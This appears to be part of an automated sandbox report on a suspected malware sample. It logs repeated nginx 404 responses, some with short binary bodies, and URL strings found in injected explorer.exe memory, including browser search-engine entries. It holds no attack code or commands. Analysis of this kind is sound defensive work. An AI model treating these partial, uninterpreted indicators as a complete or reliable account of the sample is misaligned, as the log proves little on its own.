Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:57 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:14:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:00 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:03 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:15:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:16:17 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:16:24 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:16:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:16:47 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:17:02 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:17:20 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:17:38 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Tue, 08 Oct 2024 01:17:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714214709.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714214709.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714214709.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1714214709.000000000982D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.micr
Source: explorer.exe, 00000001.00000000.1714950006.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713787801.0000000008720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.1713291422.0000000007F40000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: explorer.exe, 00000001.00000000.1716416454.000000000C893000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/Vh5j3k
Source: explorer.exe, 00000001.00000000.1712544792.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmr
Source: explorer.exe, 00000001.00000000.1716416454.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/q
Source: explorer.exe, 00000001.00000000.1711147708.0000000001240000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1711733721.0000000003700000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000001.00000000.1714214709.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?&
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=0CC40BF291614022B7DF6E2143E8A6AF&timeOut=5000&oc
Source: explorer.exe, 00000001.00000000.1714214709.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000001.00000000.1714214709.00000000096DF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comi
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/staticsb/statics/latest/traffic/Notification/desktop/svg/RoadHazard.svg
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehR3S.svg
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/humidity.svg
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu
Source: explorer.exe, 00000001.00000000.1712544792.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu-dark
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu-dark
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY-dark
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: explorer.exe, 0000000D.00000003.2726426688.0000000002DC2000.00000004.00000020.00020000.00000000.sdmp, BD9E.tmp.13.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000001.00000000.1716416454.000000000C5E6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com
Source: explorer.exe, 00000001.00000000.1712544792.0000000007900000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
